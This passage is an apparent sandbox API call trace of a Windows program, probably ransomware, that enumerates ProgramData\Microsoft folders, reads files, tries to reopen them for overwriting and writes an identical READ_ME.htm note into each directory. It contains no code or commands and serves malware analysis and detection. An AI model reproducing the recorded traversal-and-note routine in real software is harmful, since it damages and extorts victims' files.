ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78a2eab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0139.055] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0139.055] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0139.056] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f112be3, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f112be3, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7be8cbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0139.056] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0139.056] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0139.056] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0139.056] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0139.057] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0139.057] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.058] SetErrorMode (uMode=0x0) returned 0x1 [0139.058] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", lpFilePart=0x0) returned 0x5b [0139.058] SetErrorMode (uMode=0x1) returned 0x0 [0139.058] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0139.061] GetFileType (hFile=0x1d0) returned 0x1 [0139.061] SetErrorMode (uMode=0x0) returned 0x1 [0139.061] GetFileType (hFile=0x1d0) returned 0x1 [0139.061] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x2c64 [0139.061] ReadFile (in: hFile=0x1d0, lpBuffer=0x283ece8, nNumberOfBytesToRead=0x2c64, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x283ece8*, lpNumberOfBytesRead=0x21d358*=0x2c64, lpOverlapped=0x0) returned 1 [0139.063] CloseHandle (hObject=0x1d0) returned 1 [0139.130] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", lpFilePart=0x0) returned 0x5b [0139.130] SetErrorMode (uMode=0x1) returned 0x0 [0139.131] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0139.134] SetErrorMode (uMode=0x0) returned 0x1 [0139.138] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpFilePart=0x0) returned 0x57 [0139.138] SetErrorMode (uMode=0x1) returned 0x0 [0139.138] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.139] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.139] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0139.139] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0139.140] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.140] SetErrorMode (uMode=0x0) returned 0x1 [0139.140] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpFilePart=0x0) returned 0x57 [0139.140] SetErrorMode (uMode=0x1) returned 0x0 [0139.141] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.141] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.141] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0139.141] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0139.141] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.142] SetErrorMode (uMode=0x0) returned 0x1 [0139.142] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0139.142] SetErrorMode (uMode=0x1) returned 0x0 [0139.142] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0139.143] GetFileType (hFile=0x1d0) returned 0x1 [0139.143] SetErrorMode (uMode=0x0) returned 0x1 [0139.143] GetFileType (hFile=0x1d0) returned 0x1 [0139.143] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x5e8 [0139.143] ReadFile (in: hFile=0x1d0, lpBuffer=0x2932ef0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x2932ef0*, lpNumberOfBytesRead=0x21d298*=0x5e8, lpOverlapped=0x0) returned 1 [0139.145] CloseHandle (hObject=0x1d0) returned 1 [0139.211] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0139.211] SetErrorMode (uMode=0x1) returned 0x0 [0139.211] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0139.213] SetErrorMode (uMode=0x0) returned 0x1 [0139.216] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\READ_ME.htm", lpFilePart=0x0) returned 0x63 [0139.216] SetErrorMode (uMode=0x1) returned 0x0 [0139.217] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.217] GetFileType (hFile=0x1d0) returned 0x1 [0139.217] SetErrorMode (uMode=0x0) returned 0x1 [0139.217] GetFileType (hFile=0x1d0) returned 0x1 [0139.217] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a19db8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2a19db8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0139.232] CloseHandle (hObject=0x1d0) returned 1 [0139.232] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\READ_ME.htm", lpFilePart=0x0) returned 0x5d [0139.233] SetErrorMode (uMode=0x1) returned 0x0 [0139.233] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.233] GetFileType (hFile=0x1d0) returned 0x1 [0139.233] SetErrorMode (uMode=0x0) returned 0x1 [0139.233] GetFileType (hFile=0x1d0) returned 0x1 [0139.234] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a1e3f8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2a1e3f8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.235] CloseHandle (hObject=0x1d0) returned 1 [0139.235] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\READ_ME.htm", lpFilePart=0x0) returned 0x36 [0139.236] SetErrorMode (uMode=0x1) returned 0x0 [0139.236] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.236] GetFileType (hFile=0x1d0) returned 0x1 [0139.236] SetErrorMode (uMode=0x0) returned 0x1 [0139.236] GetFileType (hFile=0x1d0) returned 0x1 [0139.237] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a22998*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2a22998*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.239] CloseHandle (hObject=0x1d0) returned 1 [0139.239] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\READ_ME.htm", lpFilePart=0x0) returned 0x31 [0139.239] SetErrorMode (uMode=0x1) returned 0x0 [0139.239] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\device stage\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.240] GetFileType (hFile=0x1d0) returned 0x1 [0139.240] SetErrorMode (uMode=0x0) returned 0x1 [0139.240] GetFileType (hFile=0x1d0) returned 0x1 [0139.240] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a26f28*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2a26f28*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.241] CloseHandle (hObject=0x1d0) returned 1 [0139.242] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DeviceSync", lpFilePart=0x0) returned 0x23 [0139.242] SetErrorMode (uMode=0x1) returned 0x0 [0139.242] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*" (normalized: "c:\\programdata\\microsoft\\devicesync\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.245] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.245] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.246] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.246] SetErrorMode (uMode=0x0) returned 0x1 [0139.246] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DeviceSync", lpFilePart=0x0) returned 0x23 [0139.246] SetErrorMode (uMode=0x1) returned 0x0 [0139.246] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*" (normalized: "c:\\programdata\\microsoft\\devicesync\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.247] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.247] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.247] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.247] SetErrorMode (uMode=0x0) returned 0x1 [0139.248] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DeviceSync\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0139.248] SetErrorMode (uMode=0x1) returned 0x0 [0139.248] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\devicesync\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.248] GetFileType (hFile=0x1d0) returned 0x1 [0139.248] SetErrorMode (uMode=0x0) returned 0x1 [0139.249] GetFileType (hFile=0x1d0) returned 0x1 [0139.249] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a2ca70*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2a2ca70*, lpNumberOfBytesWritten=0x21d518*=0x720, 